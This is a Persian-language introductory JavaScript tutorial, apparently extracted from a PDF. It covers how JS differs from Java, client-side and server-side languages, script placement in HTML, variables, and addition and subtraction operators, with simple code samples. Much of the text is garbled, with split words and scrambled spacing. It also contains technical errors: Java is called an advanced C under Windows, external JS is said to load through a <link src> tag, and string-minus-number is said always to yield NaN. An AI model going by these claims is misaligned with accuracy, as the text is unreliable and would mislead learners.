د  از یادیز اريبس حجم بود ميخواه مجبور ، گرا یش یزبانها با شبکه تحت یسینو ا  ک ان  در را ئيش  کی  یه ل  یزب اوا  مث  و یبررس  ج
  .ميکن ليتحل
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 ١٠١١    صفحه

  
  

  
  

  
  Java Scriptآموزش 

  
   .JAVA Script آموزش

  
  صابر کردستانچی: نویسنده

  ؟: پست الکترونيک 
  
  

Java Scriptدر يک نگاه   
  

ار اسم             « با اطمينان کامل می توان گفت  اط هستند حداقل یک ب ای اینترنت در ارتب ا دني ه ب سانی ک  را Java Scriptبيش از نيمی از ک
ار دیگر اسم     ,  نوشته شده Java Scriptولی با دیدن یک برنامه ساده که توسط زبان » شنيده اند  دیگر حتی حاضر نشده اند حتی یک ب

ی اصلاً اینطور نيست     , به نظر ميرسد !  در ابتدا بسيار سخت و حتی عذاب آورJava Script!!! آن را بشنوند  ط کمی تلاش و    . ول فق
  .کوشش ميتواند شما را در آموختن این زبان بسيار زیبا کمک کند 

  
و مسائلی در مورد آن را ,  بنویسم که بسياری از مسائل مربوط به آن را آشکار تر کند Java Scriptخواهم مقدمه ای درباره در ابتدا مي

ورد       تباه در م ا ذهنيت های اش رد   Java Scriptبررسی کنيم ت ين بب ه         .  را از ب ان برنام ورد زب ه در م وارد پای ه یکسری م ن مقدم در ای
اهيم آن الزامی است         مورد بحJava Scriptنویسی  ه مف رای درک بقي ا ب ستن انه بهم را در    . ث قرار ميدهيم که دان وارد م مشکلات و م
  . تالار گفتگوی سایت مطرح کنيد تا این مشکلات را رفع کنيم Java Scriptقسمت 

  
ات  در این سری آموزش ها سعی خواهم کرد که دروس و مطالب را به صورت طبقه بندی شده و همراه با سادگ                  ی بيان و ذکر تمام جزئي

دگان        رای خوانن ا ب نم ت ه ک اهيم ارائ ا هر سطح معلومات     -و مف تفاده باشد    - ب ل اس رای آموختن   .  قاب د یکسری    Java Scriptب ا بای  حتم
واردی از         ,  داشته باشيد در ميان هر درس         HTMLاطلاعات اوليه و در واقع پيش نياز در زمينه زبان            از م  را  HTMLدر صورت ني

 در آدرس های  HTMLشما می توانيد اطلاعات مفيدی در مورد زبان .  مفيد خواهند بود Java Scriptذکر خواهم کرد که در آموختن 
   تالار سایت مطرح نمایيد HTML یا Java Scriptزیر بدست آورید و اگر سوالی در این زمينه داشتيد در قسمت 

 
http://www.davesite.com/webstation/html 
http://www.htmlgoodies.com/primers/basics.html 
http://www.pagetutor.com/pagetutor/makepage 
 

ی اصلا اینطور نيست         JAVA را با زبان Java Scriptبسياری زبان برنامه نویسی  د ول ن دو را یکی می دانن !  اشتباه می گيرند و ای
JAVA زبانی است که در واقع نسخه پيشرفته تری از زبان C   ه ستقل از هر     Java Script تحت ویندوز است در حالی ک ان م  یک زب

وهم در صفحات وب قابل استفاده و بکارگيری است در صورتی         ) Execute( هم به صورت فایل اجرایی       JAVA, زبان دیگری است    
ا شباهت   .  صرفا به منظور استفاده در وب و صفحات اینترنتی است Java Scriptکه  در درس های بعدی موارد دیگری از تفاوت ها ی

  ... زبان را ذکر خواهم کرد های این دو
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 ١٠١٢    صفحه

  
 به Java Script,  متداول ترین زبان های برنامه نویسی اسکریپتی در وب ميباشند که از این دو VB script و Java Scriptدو زبان 

د          شتر مرورگر های وب مانن شتيبانی شدن توسط بي ل پ داد   Netscape Navigator و Microsoft Internet Explorerدلي  نظر تع
  .يشتری از برنامه نویسان را به خود جلب کرده است ب

رجم     Netscape Communications و Sun Microsystem محصولی مشترک از دو شرکت   Java Scriptزبان  ه مت  می باشد ک
  . های ان مرورگر های وبی هستند که از آن پشتيبانی می کنند 

  
ن            مترجم برنامه ایست که کد های نوشته شده توسط برنام         ( ایج ای رده و نت ه ک سی ترجم ه نوی ان برنام ه نویس را بر اساس قواعد همان زب

د        ایش می ده اربر نم ه ک ردازش را ب د های نوشته شده توسط        ) پ ی ک ی وقت  IE (Internetتوسط مرورگر   ) JS) Java Scriptیعن
Explorer (     شود رجم         , خوانده مي دها توسط مت ن ک ه مي            JSای ه شده ترجم ه در ان تعبي ه               ی ک ده ارائ ه بينن ه ب ن ترجم گردد و حاصل ای

  .ميشود 
  

و توسط   ) text only documents(یعنی برنامه هایی که توسط آن مينویسيم متن ساده هستند  .  یک زبان اسکریپتی است JSگفتيم که 
شاهده هستند      رایش و م ل وی اده ت    . هر ویرایش گری که بتواند متن ساده ایجاد کند قاب رین و س داول ت شگر   مت ا ویرای  Note Padرین آنه

د       HTML در بين تگ های خاصی از زبان         JSدستورات زبان   . است که در تمامی نسخه های ویندوز وجود دارد           تگ  ( قرار می گيرن
 است که برای مشخص کردن دستورات این زبان از متون ساده استفاده شده و شکل کلی آن به این صورت است         htmlعلامتی در زبان    

ان  دستور < ن حالت   ) . > HTML زب ا دستورات     scriptدر ای راه ب ا هم سوند     html ه ا پ ایلی ب ا  htm و معمولا درون ف رار html ی  ق
سوند        , JSراه دیگر نوشتن برنامه ها به زبان        . این ساده ترین راه است      . ميگيرند   ا پ ا در ان است ،     JSایجاد فایلی ب ه ه  و نوشتن برنام

ل   ار فای ن ک يم     ی JSپس از ای تفاده ميکن رده و اس ی ک سير ده ل یک صفحه وب م م را در داخ رده ای اد ک ه ایج ب ، و . ک ا ، معای مزای
  ...چگونگی انجام آن را در دروس بعدی شرح خواهم داد 
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 ١٠١٣    صفحه

   JSشی گرايی و ديناميکی درمورد زبان 
  

ان         با صفحات وب چه ارتبا     jsدر درس قبل آموختيم زبان       ان  jsطی دارد و دانستيم که برنامه های زب ان   TAG در مي  HTML های زب
  .  با صفحات وب را بررسی کنيم jsاما حال بهتر است چگونگی ارتباط . قرار ميگيرد 

  
د              د            (هر چيزی که شما در صفحه وب می بيني ه نمی بيني ایی ک اهی بعضی چيزه ه صفحه وب را       ) و گ زی ک ی هر چي و در تعریف کل

ا      , ل می دهد    تشکي ه ه ا     ,  ) button( مثل دکم رم ه ز دیگر در صفحه وب                , ف ا و هزاران چي د       , عکس ه ام دارن ياء راه     . شی ن ن اش ای
ه اصلی               JSارتباط   ع وظيف ن اشياست        JS با صفحات وب هستند و در واق رل ای ی       .  کنت  JSدر ) object-oriented(خاصيت شی گرای

  .در صفحات وب ارتباط برقرار کند باعث شده که بتواند با بيشتر اشياء 
  

گربه , سگ ها , کتاب ها , اگر ما دنيای واقعی خود را در نظر بگيریم می توانيم ميز ها . یک مثال ساده این مفهوم را آشکارتر می کند 
ه د                . انسان ها و همه و همه را شی بناميم          , ها   اوت ک ن تف ر صفحات وب بعضی از     در صفحات وب نيز شی به همين معناست البته با ای

ان بررسی هر                          . اشياء قابل مشاهده نيستند      ه در زم در صفحات وب هر شی دارای خصوصيات و مشخصه های خاص خودش است ک
گروه ها و زیر دسته هایی در نظر , برای راحتی استفاده از آنها . همانطور که گفتم این اشياء بسيار زیادند .شی به ان اشاره خواهم کرد   

  . یم و این اشياء را در این گروه ها طبقه بندی می کنيم می گير
  

د               HTMLزبان   رار کن ایی    .  به تنهایی نمی تواند با اعمالی که کاربر در درون صفحه وب انجام می دهد ارتباط برق ر آن توان و علاوه ب
و اشياء صفحه پاسخ   ) Event(د به وقایع و چون کاربر نمی توان  . ایجاد جلوه های ویژه که باعث جذابيت صفحه وب می شود را ندارد              

ال                JSزبان  . حالتی کسل کننده برای او ایجاد می شود         , دهد    به خوبی این کمبود در صفحات وب را رفع می کند و به صفحات حالت فع
  . این ویژگی را به وسيله خصلت شی گرایی اش کسب کرده است JSدر واقع . می دهد 

  
د    JS, رست به یک فرم در صفحه وب می دهيد          مثلا وقتی شما اطلاعات ناد     ر     .  با پيغامی می تواند به شما اطلاع ده اده ت ه صورت س ب

  . نوعی امکان انتخاب به کاربر و امکان پاسخ مناسب از طرف خود را می دهد JSمی توان گفت 
  

عکاسی را در نظر بگيرید که بدون توجه به نور         شما دوربين   . مفهوم آشکار تری را در اختيار شما قرار می دهم           , با یک مثال ساده تر      
ی    .  در نظر گرفت HTMLاین دوربين را می توان مانند حالت غير فعالی . اطراف خود عکس برداری می کند    در سوی دیگر دوربين

د      , را در نظر بگيرید که بنا به نور اطراف خود             فافيت عکس را تنظيم ميکن د     . ش وان مانن ين را ميت ن دورب ا      JSای ه ب در نظر گرفت ک
ه        ( محيط اطراف خود ارتباط برقرار می کند وتصميمات لازم را می گيرد و اعمال لازم را انجام می دهد                     البته بر اساس خواست برنام

  ) .نویس 
  

د          .  بحث را تکميل می کنم       JSحال با مثالی در خود       ه        . فرض کنيد شما وارد صفحه وبی شده ای ه برنام ه ای ک ه برنام ا ب ویس نوشته   بن ن
در صورت انتخاب جواب       .  صادر می شود       JSتوسط  )) آیا شما از رنگ صفحه خوشتان می آید ؟          (( است ابتدا پيغامی مبنی بر اینکه       

د       , مثبت   ر می کن رنگ صفحه تغيير نمی کند ولی در صورت منفی بودن پاسخ بنا به انتخاب خود شما یا برنامه نویس رنگ صفحه تغيي
 .  

فانه تو ود  متاس ه می ش سی ارائ ه نوی ای برنام ان ه ودن در زب وم دیناميک ب اره مفه تباهی درب اریف اش سان مختلف تع ه نوی . سط برنام
ه نتيجه     JSمن ابتدا نحوه اجرای . به هر زبانی که شی گرا باشد دیناميک می گویند    , بسياری به اشتباه     ا ب دهم ت  را مورد بررسی قرار مي

  . به ما کمک فراوانی می کنند Server side languages و Client side languagesدو مفهوم  .نهایی برسيم 
  

شاهده صفحات              ) Client( مشتری  , در اصطلاح به کامپيوتر کاربر یا بيننده صفحه          و به کامپيوتری که به کامپيوتر های دیگر جهت م
  .می گویيم  ) Server(سرویس دهنده یا ميزبان , وب سرویس می دهد 

  
د        ٢به  , برنامه ها و فایل های موجود در کامپيوتر ميزبان           رار گيرن تفاده ق ورد اس در .  صورت می توانند برای کامپيوتر های مشتری م

تاده             . انتقال یافته و آنجا ترجمه و اجرا می شوند           فایل ها دقيقا به کامپيوتر مشتری       , حالت اول    ان فرس ه ميزب ن حالت درخواستی ب در ای
پس از  . سپس فایل درخواستی را بدون انجام هيچگونه عملياتی به مشتری می فرستد             . شده و ميزبان این درخواست را پردازش می کند          

ایی چون    . رگر ترجمه و اجرا می شود  فایل توسط مرو. مشتری فایل را دریافت ميکند , انتقال فایل    ان ه ه  CSS و HTML و JSزب  ب
ان های طرف مشتری      ( Client side languagesزبان هایی که به این صورت اجرا می شوند را    . این صورت عمل می کنند  ) زب

  .این زبان ها غير دیناميکی هستند زیرا سرویس دهنده هيچ نقشی در اجرای آنها ندارد .می گویند 
  

ه  , در حالت دوم ابتدا فایل توسط مترجمی که در کامپيوتر ميزبان تعبيه شده             در خود ميزبان ترجمه می شود و سپس نتایج این پردازش ب
ا را        , مرورگرهایی که در کامپيوتر مشتری قرار دارند        . مشتری ارائه می شود      نمی توانند برنامه های نوشته شده توسط اینگونه زبان ه
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 ١٠١٤    صفحه

ا را  . بلکه نياز به نقش اساسی ميزبان در ترجمه آن دارند , مه و ا جرا کنند خودشان ترج ا  Server side languagesاینگونه زبان ه  ی
ال از                   . زبان های طرف ميزبان می نامند        تفاده فع ا اس این زبان ها به دليل نقش داشتن ميزبان در فرایند ترجمه و در نتيجه امکان تغيير ی

ان    ابع ميزب د  حال, من اميکی دارن ا    . ت دین ان ه ن زب رین ای ستند PHP و ASP , CGIمهمت   . ه
وان نتيجه گرفت                امپيوتر مشتری                     JSبا استفاده از مفاهيم بالا به راحتی ميت ه آن روی ک وط ب د های مرب اميکی نيست و فراین انی دین  زب

  .صورت می گيرد 
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 ١٠١٥    صفحه

   در صفحات وبJSری برنامه های نحوه قرار گي
  
  

حال بهتر است ابتدا نحوه کاربرد این زبان در وب را بياموزید و سپس شروع   .  را آموختيد JSدر درس های قبل مبانی و مفاهيم اصلی    
 از HTML هر سند باید بياد آورده باشيد که , HTMLبنا به آموخته های ابتدایی شما در مورد زبان  .  نمایم JSبه آموزش کاربردهای   

ا  . دو بخش اصلی تشکيل شده      ا     Headerقسمت سر سند ی ند ی ه س سمت بدن دهای یک صفحه         . Body و ق ه ک ونی ک ه مت در اصطلاح ب
HTML سند «  را تشکيل ميدهندHTML «  می گویند.  

  
ه    ار رفت ه ک سخه ب وان صفحه ، ن ل عن ی صفحه از قبي ه مشخصات کل اتی است ک اوی اطلاع ند ح ر س سمت س ان ق  را HTML از زب

د         . مشخص می کند     رار می گيرن . قسمت دوم بدنه صفحه می باشد که اجزای اصلی صفحه از قبيل متن ها ، عکس ها و فرم ها در آن ق
  .در زیر تقسيم بندی ایندو را می بينيد . های خاصی از هم جدا می شوند » تگ«قسمتهای بدنه و سر سند به وسيله 

  
  
    

<html> HTML سندآغاز   
<head> آغاز سر سند 
</head> پایان سر سند  
<body> آغاز بدنه سند  
</body> پایان بدنه سند  
</html> HTMLپایان سند  

  
  

ی  .  به تناسب کاربرد می توانند هم در قسمت سر سند و هم در قسمت بدنه سند قرار گيرند JSبرنامه های نوشته شده توسط    را  JSول  اکث
  .مورد استفاده قرار می گيرد در قسمت بدنه سند 

  
يد    .  قرار می گيرند <SCRIPT/>و > SCRIPT< داخل تگ  HTML برای مشخص شدن از کدهای       JSبرنامه های    توجه داشته باش

 استفاده ميشوند   JSبرای مشخص کردن پایان برنامه      > SCRIPT/< و تگ    JSبرای مشخص کردن آغاز برنامه      > SCRIPT<که تگ   
ه        و نوشتن هر دوی آن     ا در یک برنام ه            . الزاميست  JSه رای هر برنام ستن اینکه ب د از تگ       JSدان  <SCRIPT/>و  > SCRIPT< بای

ی    <SCRIPT/>و > SCRIPT<همچنين می توان در هر سند به تعداد نامحدود از تگ         .استفاده کرد بسيار مهم است       رد ول  استواده ک
گ  ک ت تفاده از ی ری<SCRIPT/>و > SCRIPT<اس ل دیگ ه در  در داخ يچ وج ه ه ست JS ب از ني   . مج

نایی     .  نوشته شده و یک پيغام خوشامد گویی به کاربر می دهد آمده است              JSدر زیر یک برنامه ساده که توسط         رای آش ط ب ه فق این برنام
ط   همچنين شماره های ا. بيشتر شما با مفاهيم بالاست و نکات اساسی که شما باید در مورد آن بدانيد در زیر آمده است           بتدای هر سطر فق

  .برای نشان دادن شماره خطوط است و آنها جزء سند نيستند 
  

  
  

1 <html> 
2 <head> 
3 </head> 
4 <body> 
5 <script language=”javascript1.2”> 
6 document.writeln("<font size=6 color=789867>welcome to this page</font>") 
7 </SCRIPT> 
8 </body>  
9 </html>  

  
  

  .مطالب زیر شما را در درک مفاهيم مورد نياز ما از کد های بالا یاری می کنند 
  

  
  .رعایت تو رفتگی های سند در هنگام ایجاد آن الزامی نيست و فقط به خوانایی سند کمک می کند _
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  . در قسمت بدنه سند آمده است JSملاحظه می کنيد که در این سند ، برنامه _ 
  

رای       JS برنامه ساده ای از <SCRIPT/>و > SCRIPT< ميان تگ های     و در  ٦در سطر   _  ات آن ب ستن جزئي ه فعلا دان  آمده است ک
  .شما الزامی نيست 

  
ن اسکریپت          JSنسخه  ” language=”javascript1.2عبارت  > SCRIPT< در داخل تگ     ٥در سطر   _  تفاده در ای ه  (  مورد اس برنام

  .کند را مشخص می  ) JSنوشته شده توسط زبان 
  

ری                     ” language=”javascript1.2ذکر عبارت   _  ایين ت سخه های پ ه ن ایی ک در برنامه الزامی نيست و فقط باعث می شود مرورگره
  . نباشند JS را پشتيبانی می کنند ، قادر به اجرای برنامه های JSاز 
  
  

سخه ای از   _  ردن ن شخص ک ا م رای آن ب   JSب ت اج ز قابلي الاتر از آن ني ای ب سخه ه ت   ن د داش ه را خواهن   .رنام
 قابل اجرا هستند ولی در JS ١،٢ درJS ١،١ مربوط به دستوراتی است که آن نسخه پشتيبانی می کند ؛ مثلا دستورات JSهر نسخه از   _

٠،١ JS خير .  
  

  ... اشاره خواهم کرد JS به توانایی پشتيبانی آنها در نسخه های مختلف JSدر بررسی دستورات _ 
  

  ... را آغاز خواهم نمود JS ، آموزش مقدمات برنامه نویسی در JSس از بررسی روشهای دیگری از زبان در درس بعد پ
  
  
  

  HTML در صفحات JS روش های دیگری برای استفاده از
  
  

ردازم    روش دیگر می٢در این درس به ذکر . آشنا شدیم  HTML در صفحات JS استفاده از در درس قبل با یک روش برای توجه  . پ
ن مطالب            داشته باشيد که ممکن است این روش ها به طور کامل برای شما يد چون ای ه هيچ وجه نگران نباش ی ب ند ، ول قابل درک نباش

ه خواهيم            Java Script این است که شما بدانيد زبان فعلا برای ه برنام احثی ک رد و در مب رار می گي تفاده ق ورد اس ایی م با چه روش ه
  . ت خواهيم دادنوشت بررسی بيشتری صور

 
ی است          ه بحث شئ گرای وط ب م مرب از ه ن حالت از  . روش دوم ب تفاده  در ای تفاده از        JS اس ا اس ه راحتی و ب در صفحات وب ، شما ب

د و در     JS دستورات خاصی از رل می کني د را کنت ل آن عکس العمل دلخواه را      تمام وقایعی که بر روی اشياء صفحه روی می ده مقاب
د و یکی از     این دستورات که وظيفه کنترل. نشان می دهيد  رار می گيرن خصوصيات   وقایع صفحه وب را دارند ، در کنار خود اشياء ق

م     . اشياء را تشکيل می دهند ا عکسی در صفحه وب داری رار           فرض کنيد م اوس روی آن ق شگر م ه محض اینکه نمای ه می خواهيم ب ک
شود   توضيحاتی از عکس است برا گرفت پيغامی که شامل اربر صادر ب رل       . ی ک ه کنت ن است ک ا ای ه م تفاده     وظيف ورد اس ده ای را م کنن

شود . » نظر قرار گرفته یا خير ؟  آیا ماوس روی شئ مورد« قرار دهيم که تشخيص دهد   و پس از تشخيص پيغام برای کاربر صادر ب
  .  شما ارائه ميکنمدر پایين شما می توانيد این برنامه و توضيحات مفيدی در مورد آن را برای .

 
  
1 <HTML> 
2 <head> 
3 </head> 
4  
5 <body> 
6 <img src="pic1.gif" onmouseover="alert('this pic is about computers !!')"> 
7 </body> 
8 </HTML>  

 
 
  .  آشنا شدید٨ و ٧ ، ٥ ، ٣ ، ٢ ، ١در درس قبل شما با تگهای موجود در سطرهای  _
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  . استفاده شده که وظيفه این تگ نمایش تصاویر و عکس ها در صفحات وب است IMG به نام HTML تگ از یک ٦در سطر  _
 
  . می کند است که آدرس فایل عکس را مشخص Img یکی از خصوصيات مهم و معروف تگ src ، ٦در سطر  _
 
د    IMG داخل تگ    و در٦این همان خصوصيتی است که شما آن را در سطر  . ONMOUSEOVER و اما _ ارت   . می بيني ن عب ای

رل      ه کنت ه وظيف ت ک ده ماس رل کنن ان کنت ر را دارد       هم ورد نظ ئ م رروی ش ری ب رار گي ام ق اوس در هنگ ردن م ارت . ک  عب
Onmouseover  ، زمانی که ماوس روی آن قرار گرفت«در لاتين به این معناست » .  

  
رد        که ما می خواهيم  عکس العمل یا همان دستوریست "" و در داخل = بعد از علامت  _ ام گي اوس انج رفتن م رار گ در . در صورت ق

  . متن داخل پرانتز را نشان می دهد شده که صفحه ای برای کاربر باز کرده و استفاده Alert اینجا از دستور
  

  . در صورت قرار گرفتن ماوس روی عکس ، کاربر صفحه زیر را مشاهده خواهد کرد _
  
 

  . این شی محسوب می شود ( Properties)  یکی از خصوصيات، onmouseover حال عبارت _
  

م است    توجه سيار مه رای            . داشته باشيد که تحليل کد ها در این زبان برنامه نویسی ب ه خوبی ب ا را ب د ه د ک ه اگر بتواني يد ک ئن باش مطم
  . برنامه نویسی موفق خواهيد بود خودتان تحليل کنيد در

  
تفاده  زرگ است            فحاتدر ص  JS روش سوم برای اس روژه های ب تفاده در پ ورد اس ا و م ه ای ه ورد توجه حرف شتر م ن   . وب ، بي در ای
ه   . می نویسيد  .js یک فایل جداگانه و با پسوند خود را در صفحه وب نمی نویسيد بلکه آن را در JS روش شما برنامه های اری ک تنها ک

ه    !!! راه حل شماست   Link تگ . ن را در صفحه وب مسير دهی کنيدبکنيد این است که آ JS استفاده این فایل شما باید برای ن تگ ب ای
  . شکل کلی استفاده از این تگ به صورت زیر است. خود را مسير دهی نمایيد JS شما کمک می کند که فایل

 
 <link src="مسير ونام فایل جاوا اسکریپت"> 

 
  .  را در مثال زیر بررسی می کنيمدليل اینکه این روش در پروژه های بزرگ استفاده می شود

 
 کيلو بایت حجم دارد را در هر ١٠که  JS برنامه  صفحه است و وظيفه دارید یک١٥٠کنيد شما باید سایتی طراحی کنيد که شامل  فرض

ه   . ببرید   صفحه بکار١٥٠یک از این  ن برنام و ١٠با یک حساب سر انگشتی می فهميد که با افزودن ای ه صفحا     کيل  ١٥٠٠ت ، بایت ب
  !!!!!! افزوده می شود و این یک فاجعه است کيلو بایت یعنی یک و نيم مگابایت به حجم سایت شما

 
تفاده از تگ یک خطی          در عوض شما می توانيد به جای ا اس ه در هر یک از صفحات ، ب ن    ، در Link استفاده کل برنام ام ای  ١٥٠تم

و بایت حجم دار   ١٠که تنها  JS صفحه فقط فایل ره وری خوب در حجم        د را مسير دهی   کيل ی یک به ن یعن د ؛ و ای اد     . کني ه ی شه ب همي
  . داشته باشيد بهره وری حجمی در صفحات وب و طراحی سایت وب بسيار بسيار مهم است

 
  
  

  JSمتغييرها و عملگرهای 
  
  

م     در درسهای قبل مطالب     . می شویم    JSبعد از یک تاخير کوتاه مدت دوباره وارد دنيای زیبای            رار دادی مقدماتی مهمی را تحت پوشش ق
ه در         . بشویم   JSتا با زمينه ای مطلوب وارد بخش تجربی و عملی آموزش             د را بررسی    JSدر این درس علائم ریاضيی ک اربرد دارن  ک

ر اساس      در توضيحی بسيار ساده باید بگویم ، متغيير مانند یک جعبه  . می پردازیم   » متغيير«در ابتدا به مفهوم     . می کنيم    ه ب می باشد ک
رای خودش اسم خاص و         . نوعش می تواند اشياء و مقادیر مختلفی را در خود جای دهد              د ب ا بای طبيعی است که هر یک از این جعبه ه

ا را دارن              . منحصر به فردی داشته باشد تا از دیگر جعبه ها مجزا شده و قابل تمييز دادن باشد                    ه ه ن جعب ا حکم ای ز دقيق ا ني ر ه د ، متغيي
ر   . مقادیر خاصی را می پذیرند و با نام خاصی از بقيه جدا می شوند        و اما انواع متغيير ؛ یکی از معمول ترین و معروفترین نوع متغيي

د   ) numeric variables(ها ، متغيير های عددی ن  . هستند که می توانند اعداد مختلف را بدون محدودیت رقمی در خود جای دهن از ای
 را به متغييری به نام ٣٤٨/٣٢٤٢برای مثال وقتی ما می خواهيم عدد . ی توان برای اعداد اعشاری و منفی نيز استفاده کرد          متغيير ها م  

mark نسبت دهيم باید به این صورت ، عمل مقدار دهی را انجام دهيم :  
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mark=3242.348 
  

ارت را در خود جای         ) string variables( متغيير های رشته ای JSنوع دیگری از متغيير ها در  ا عب تن ی د یک م هستند که می توانن
  : نسبت دهيم به این صورت عمل می کنيم www را به متغيير world wide webدهند به عنوان مثال اگر بخواهيم عبارت 

  
www="world wide web" 

  
دهيم  را ) quotation mark" (توجه داشته باشيد که باید در آغاز و پایان عبارت علامت  ه         .قرار ب م ایت ک سيار مه ه ب ن نکت ستن ای دان

ر                  mark"=٣٢٤٢٫٣٤٨" و   mark=3242.348هيچگاه دو متغيير     ر عددی و دومی یک متغيي  با هم برابر نيستند زیرا اولی یک متغيي
  .برای متغيير های عددی استفاده نکنيد "" پس هيچگاه از علامت !!! رشته ای است 

  
ر از علامت فاصله    نکته مهم دیگر این است که ر       ) space( نباید در قسمت نام متغيي ال متغيي وان مث ه عن د ب تفاده کني  هرگز  w w wاس

ر منطقی   . قابل قبول نيست و یک خطای برنامه نویسی محسوب می شود   Java Scriptبرای  وعی از  ) Boolean variables(متغيي ن
دار         متغيير است که نسبت به بقيه انواع متغيير ها محدود تر             ط دو مق ه فق ی ک را ) نادرست  (Falseو ) درست  (TRUEاست ، بدین معن

  .  استفاده می شود JSاکثرا در نوشتن شرط ها در ) منطقی(از متغيير بولين . می پذیرد 
  

اربر JSاین نوع از متغيير در اکثر برنامه های . که از انواع مهم متغيير هاست ) Object Variables(و اما متغيير شئ  د دارد و در  ک
ه اسم         . ان یک شئ یا اتفاق مربوط به آن شئ ذخيره می شود              ام    Coreمثلا وقتی می خواهيم شئ ب ه ن  Attribute را در داخل متغييریب

  :جای دهيم بدین صورت عمل می کنيم
  

Attribute=core 
  
  

سيار    در پایان  .در مورد این نوع متغيير در درس های آینده توضيحات بيشتری خواهم داد    ه نکات ب بحث مربوط به متغيير ها بهتر از ب
  :مهم زیر توجه کنيد 

  
اه متغييرهای    JSزبان _  ی هيچگ ا  www و Www  ،WWW در تعریف نام متغيير ها به حروف بزرگ و کوچک حساس است یعن  ب

  . هر یک را متغييری جداگانه می داند JSهم برابر نيستند و 
  

ایز      % و  $ و  @ و علامت هایی چون     (.) در ضمن استفاده از نقطه      . شروع نمی شود    هيچگاه نام یک متغيير با عدد       _  ر ج در نام متغيي
  . بی معنی هستند JS برای زبان rt@r و se.r و ١٢fmپس متغيير هایی چون . نيست 

  
رد    و بسياری دیگر this  ،comment  ،case مانند JSبرای نام یک متغيير نمی توان از کلمات رزرو شده _  تفاده ک داد کلمات   . اس تع

  . زیاد است و من به مرور زمان به همه آنها اشاره خواهم کرد JSرزرو شده در 
  

دار     mark="world wide web"وقتی ما متغييری مانند _  ع مق يم در واق ر   world wide web را تعریف می کن ه متغيي  mark را ب
  . برابر است ، تصوری کاملا نادرست است mark با world wide webنسبت می دهيم و تصور اینکه بر اساس این دستور 

  
  

ق                برای هر کسی که اندکی اطلاعات پيش زمينه برنامه نویسی دارد واضح است که هر زبانی که عملگرهای ریاضی چون جمع ، تفری
ان بر                  رین خصوصيات یک زب د یکی از اساسی ت وده و فاق اقص ب ه نویسيست   و غيره را نداشته باشد ، یک زبان ن ان  .نام  دارای JSزب

توجه داشته باشيد که ما می توانيم توسط  . یکی از کاملترین علائم و دستورات ریاضی است که از نقاط قوت این زبان به شمار می رود      
يم  سبت ده ر ن ر دیگ ک متغيي ه ی ل را ب ام داده و حاص ی را انج ل ریاض د عم ا چن ک ی ر ی د متغيي ا چن ين دو ی ا ب ر ه ن عملگ    .ای

 داشته  m2=7 و m1=5فرض کنيم دو متغيير به نام های  . ساده ترین عملگر این زبان ، عملگر جمع است که دارای نکات مهمی است       
رار  dدر این صورت می توانيم اندو را با استفاده از دستور زیر با هم چمع کرده و داخل متغيير                   . باشيم که هر دو متغيير عددی باشند          ق

  :دهيم 
 

d=m1+m2 
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ه              .  خواهد بود    ١٢ دارای مقدار عددی     dدر این حالت متغيير      ری عددی ب ر عددی ، متغيي نکته قابل توجه این است که از جمع دو متغيي

د   ی آی ود م ر  .وج د دو متغيي رض کني ال ف ته ای  m2 و m1ح دار رش ا دارای مق ند night و day ی م ورد  .  باش ن صورت در م در ای
  :حاصل جمع آنها داریم 

 
d=m1+m2 

  
دار     ی مق م ، یعن ار ه ر در کن ادیر دو متغيي ا مق ر است ب دار حاصل براب ته ای ، مق دار رش ع دو مق ت جم ا dدر حال ود ب د ب ر خواه براب

daynight               ه    .  ، و همانطور که مشاهده می کنيد هيچ فاصله ای بين دو مقدار نخواهد بود حتما به این نکته بسيار مهم توجه داشته باشيد ک
اه  ا m1+m2هيچگ د  m2+m1 ب رار خواه ر اول ق دار متغيي د از مق ر دوم بع دار متغيي ته ای مق ع رش شه در جم را همي ست زی ر ني  براب

   :گرفت یعنی
 

r=m1+m2 پس : r=daynight 
t=m2+m1 پس : t=nightday 

  
د                           ر رشته ای جمع کني ا یک متغيي ر عددی را ب د یک متغيي دار ر    . ممکن است شما بخواهي ن صورت یک مق شته ای از جمع دو   در ای

  .مثال زیر مطلب آشکار تری در اختيار شما قرار می دهد . متغيير بدست خواهد آمد 
 

P="javascript" 
t=239 
f1=p+t پس : f1="javascript239"  
f2=t+p پس : f2="239javascript" 

  
  

ا      TRUEنکته قابل توجه دیگر این است که در جمع دو متغيير منطقی ، مقدار                ر ب دار   ) یک  (١ براب ا   FALSEو مق ر ب ) صفر  (٠ براب
اگر  .  در نظر گرفت  ١ را می توان دارای مقدار کامل یعنی  True را می توان دارای مقدار پوچ و         Falseدر واقع   .محسوب خواهد شد    

ر صفر و د  FALSE خواهد بود ، در صورت      ٢ باشند حاصل جمع انها برابر       Trueهر دو متغيير     ر صورتی   بودن هر دو حاصل براب
   . خواهد بود ١ باشد حاصل برابر False و دیگری Trueکه یکی 

  
ورد مباحث مختلف                   سه               JSچون در این کلاس کاملترین مطالب و کوچکترین نکات در م ام هر مبحث در یک جل ه می شود ، اتم  ارائ

  ...امکان پذیر نيست پس ادامه بحث در مورد عملگر ها را به درس بعد موکول می کنيم 
  
  
  
  

ه حاوی نکات جالبيست         JSدر درس قبل مطالب کاملی در مورد عملگر جمع در            يم ک ق می رس ر  .  گفتم ، حال به عملگر تفری دو متغيي
ه    b-a و a-b را به دو صورت b و aما می توانيم عمل تفریق بين دو متغيير .  را در نظر می گيریم     b=7 و   a=12عددی   يم ک ام ده  انج

  !  نيست حاصل ایندو با هم برابر
  

 
a-b=12-7=5 
b-a=7-12=-5 

  
ا                         بر خلاف جمع دو متغيير رشته ای ، تفریق دو متغيير رشته ای امکان پذیر نيست و در صورت تفریق ، در هر حالت ، حاصل برابر ب

العکس می با   .  خواهد بود Not a Number به معنی NaNرشته  . شد  این خصوصيت شامل تفریق یک متغيير رشته ای از عددی و ب
  .با یک مثال بحث را روشنتر می کنيم 

  
ته ای  ر رش د دو متغيي ق  = net"b"و = www"a"فرض کني ر دو صورت تفری م ، در ه رده ای ر b-a و a-bرا تعریف ک  حاصل براب

NaN خواهد بود  .  
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a="www " 
b="net" 
d=a-b 
f=b-a 

: در نتيجه  d=f=NaN 
  
  

  : غيير عددی و در صورت داشتن یک متغيير رشته ای و یک مت
 
a=12  
b="net" 
d=a-b 
f=b-a 

: در نتيجه  d=f=NaN 
  

در عمل تفریق وجود داشته باشد حاصل عبارت رشته  _ در هر حالت _ پس به این نتيجه کلی می رسيم که هر گاه یک متغيير رشته ای        
ر های رشته ای ،          » منطقی«در تفریق متغيير های      . خواهد بود    NaNای   وم  True به مانند جمع متغيي وم  Falseو ) یک (١ مفه  ٠ مفه

